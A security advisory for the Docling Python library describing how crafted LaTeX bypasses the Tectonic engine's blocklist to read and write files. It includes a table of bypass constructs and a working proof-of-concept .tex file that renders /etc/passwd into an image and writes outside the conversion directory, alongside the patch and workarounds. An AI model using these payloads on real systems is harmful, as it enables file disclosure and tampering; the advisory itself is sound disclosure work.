GHSA-h8jf-9f4f-2v9h: 
Python vulnerability analysis and mitigation

Summary

GHSA-x3q2-h9hx-4r4j added a pre-check in 2.132.0 that skips TikZ rendering with the Tectonic engine when the source names an unsafe file path or uses a TeX file primitive. The pre-check is a text blocklist. It does not see the TeX constructs that build, encode or hide these names, and it does not block package commands that read files. A crafted .tex file can therefore still read files that the process can read, with the content returned in the rendered image, and write files to paths that the process can write. This affects only the opt-in Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")).

Details

• docling/backend/latex/engines/tectonic.py:58-68 defines the blocklist: the commands \input, \include, \includegraphics, \InputIfFileExists, \graphicspath (with an absolute or .. path), and the primitives \openin, \openout, \XeTeXpicfile, \XeTeXpdffile.
• _find_unsafe_construct (:121-135) checks the raw text only. It does not decode ^^xx escapes and does not strip comments (_strip_comments at :156-158 exists but is not called).
• _build_command (:271-284) runs tectonic --untrusted --only-cached. --untrusted disables shell escape, but it does not restrict the TeX file primitives. The pre-check is the only barrier.
• The compiled picture is rendered to a PNG in the conversion result (:354-367), so the content of a file that was read is returned to the submitter. The following constructs pass the pre-check: | Construct | Example | |---|---| | ^^xx escapes hide / and .. | \input{^^2fetc^^2fpasswd} | | A % comment splits the path across lines | \input{..% + newline + /../etc/passwd} | | \csname builds a blocked name | \immediate\csname openout\endcsname 15=..., \csname input\endcsname{...} | | LaTeX-internal primitive | \@@input /etc/passwd | | File commands of packages | \verbatiminput (verbatim), \VerbatimInput (fancyvrb), \lstinputlisting (listings), \includepdf (pdfpages), \import (import) |

Proof of concept

With Tectonic 0.17.0 on PATH and a warm Tectonic cache:

\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
  \node[draw] {\catcode`\_=12 \input{^^2fetc^^2fpasswd}};
\end{tikzpicture}
\end{document}

from docling.datamodel.backend_options import LatexBackendOptions
from docling.datamodel.base_models import InputFormat
from docling.document_converter import DocumentConverter, LatexFormatOption
converter = DocumentConverter(
    format_options={
        InputFormat.LATEX: LatexFormatOption(
            backend_options=LatexBackendOptions(tikz_engine="tectonic")
        )
    }
)
converter.convert("poc.tex")

The rendered picture contains the content of /etc/passwd. With \immediate\csname openout\endcsname 15=^^2e^^2e/^^2e^^2e/tmp/pwned.txt, \immediate\write15{...} creates a file outside the conversion directory.

Impact

When untrusted LaTeX is converted with tikz_engine="tectonic":

• disclosure of any text file that the process can read;
• creation or overwrite of files in any path that the process can write, which can lead to code execution, for example through startup or configuration files. The default configuration is not affected: tikz_engine is None by default, the CLI does not expose it, the Tectonic binary must be installed separately, and Docling runs Tectonic with --only-cached, so the Tectonic cache must already hold the needed packages. The documentation of GHSA-x3q2-h9hx-4r4j and of the pipeline options already recommended an isolated environment for untrusted LaTeX.

Patches

Fixed in 2.142.1 (#4970). Docling runs Tectonic only when the caller sets the new option LatexBackendOptions(tikz_engine_trusted_input=True). Without it, TikZ pictures keep their source as code metadata, and a warning explains how to opt in. tikz_engine_allow_shell_escape also has no effect without it. The text pre-check stays as defense in depth, and is documented as not a security boundary. Compatibility: users who render TikZ with Tectonic must now set tikz_engine_trusted_input=True, and should do so only for trusted input.

Workarounds

Upgrade to 2.142.1 or later. If you cannot upgrade, do not set tikz_engine="tectonic" for untrusted LaTeX, or run the conversion in an isolated environment (container or sandbox) with no access to sensitive files and a read-only file system outside a temporary directory.

References

• https://github.com/docling-project/docling/pull/4970
• https://github.com/docling-project/docling/releases/tag/v2.142.1
• GHSA-x3q2-h9hx-4r4j: the original advisory, whose 2.132.0 pre-check this release replaces as the security boundary.